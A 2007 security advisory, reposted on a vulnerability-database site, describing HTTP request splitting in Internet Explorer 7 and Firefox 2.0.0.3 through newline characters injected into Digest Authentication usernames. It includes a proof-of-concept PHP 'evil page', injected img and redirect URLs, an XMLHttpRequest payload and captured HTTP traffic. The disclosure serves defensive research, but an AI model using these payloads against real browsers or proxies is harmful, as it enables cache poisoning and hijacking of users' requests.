Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : IE 7 and Firefox Browsers Digest Authentication Request Splitting
  SecurityAlert : 2654
  CVE : CVE-2007-2292
  CVE : CVE-2007-2291
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : Stefano Di Paola
  Published : 02.05.2007

  Affected Software : Mozilla, Firefox, 2.0.0.3
Microsoft, Internet Explorer, 7.0.5730.11



  Advisory Text :  

Title IE 7 and Firefox Browsers Digest Authentication
Request Splitting

Systems Affected Internet Explorer 7.0.5730.11
FF 2.0.0.3

Severity Medium

Vendor http://www.microsoft.com/ & http://www.mozilla.com

Advisory http://www.wisec.it/vulns.php?id=11

Authors Stefano `Wisec` Di Paola (stefano.dipaola (at) wisec
(dot) it [email concealed])

Discovery Date 20070213

Release Date 20070425

I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP
Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:

1. http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
2.
http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html


3. http://download2.rapid7.com/r7-0026/
4. http://www.wisec.it/docs.php?id=4
(About Auto Injection with Req.Split.)

II) Long description

As explained in Rfc2617 (http://www.ietf.org/rfc/rfc2617.txt) Digest
Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The first time the client requests the document, no Authorization
header is sent, so the server responds with:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm="testrealm (at) host (dot) com [email concealed]",
qop="auth,auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
opaque="5ccc069c403ebaf9f0171e9517f40e41"

The client may prompt the user for the username and password, after
which it will respond with a new request, including the following
Authorization header:

Authorization: Digest username="Mufasa",
realm="testrealm (at) host (dot) com [email concealed]",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
uri="/dir/index.html",
qop=auth,
nc=00000001,
cnonce="0a4f113b",
response="6629fae49393a05397450978507c4ef1",
opaque="5ccc069c403ebaf9f0171e9517f40e41"

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

XMLHttpRequest("GET","page",async, "user","pass");

And with img/iframes or related:

<img src="http://user:pass@host/paget">

But what if the username contains rn or urlencoded %0d%0a?

Let's use an Evil page like this:

--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<--8<--8<--

<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
header('HTTP/1.0 401 Authorization Required");
header('WWW-Authenticate: Digest realm="1 (at) example (dot) com [email
concealed]", qop="auth,auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",opaque="5ccc069c403ebaf9f0171

e9517f40e41"');
header('Proxy-Connection: keep-alive');
} else {
// header("Set-Cookie: PHPSESSID=0");
}
header('Connection: keep-alive');
?>
<html><head>
<meta http-equiv='Connection' content="keep-alive"></head>
<body><script>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');
</script>
</body>
</html>

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

<img id="d" src="http://user%0aname:pp@evilhost/req.php">

Let's see what happens after the first request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=6555
WWW-Authenticate: Digest realm="1 (at) example (dot) com [email
concealed]",
qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",opaque="5

ccc069c403ebaf9f0171e9517f40e41"
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=UTF-8
...

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

and then Firefox resend its request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

GET req.php HTTP/1.1
Host: at.tack.er
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3)
Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username="user
name", realm="1 (at) example (dot) com [email concealed]",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php",
response="e398c5c7583b4ca115978c486bb766f8",
opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001,
cnonce="58e1c23271698745"
Cookie: PHPSESSID=6555

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

<img src="http://evilhost/redir.php">

With redir.php :

<?php
header("Location: http://user%0aname:ds@avilhost/req.php");
?>

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other
direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable.
Let's use a standard request with XMLHttpRequest:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

x=new XMLHttpRequest();
x.open("POST","req.php?",false,"userrnname","pass");
x.setRequestHeader("Proxy-Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){

}
}
// The payload with a request to a page with evil content
x.send("RequestPayload");

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, one for all is that in
presence of a proxy, local cache could be poisoned. But for some more
attack have a look at references.

Note: there is some difference between IE and Firefox, but i'll let you
as homework

CREDIT
------

Stefano di Paola is credited with the discovery of this vulnerability.

LEGAL NOTICES
--------------

Copyright (c) 2007 Stefano di Paola

Note: this exploit is DUAL LICENSED,
1. if you'll use it for personal and non-profit purposes you can
apply GPL v2 and above.

2. In the case you plain to:
a. use our code in any commercial context
b. implement this code in your non-GPL application
c. use this code during a Penetration Test
d. make any profit from it

you need to contact me in order to obtain a _commercial license_.

For more Informations about Dual Licensing:
http://producingoss.com/html-chunk/dual-licensing.html

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS
condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

--
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Web: www.wisec.it
..................
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBGL5HWfSCEH5yFF2MRAgVfAJ47gkj/Yw0HFSzizk4Hi+AWe5aiQgCbBfTQ
Pyi025+kLyUB6oT1919PDi4=
=cwhV
-----END PGP SIGNATURE-----



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache-SSL memory
   disclosure

» Apache mod_negotiation
   Xss and Http Response
   Splitting

» Apache (mod_status)
   Refresh Header - Open
   Redirector (XSS)

» Apache (mod_proxy_ftp)
   Undefined Charset UTF-7
   XSS Vulnerability

PHP rss

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

» PHP 5.2.5 cURL safe_mode
   bypass

Copyright © SecurityReason. All Rights Reserved.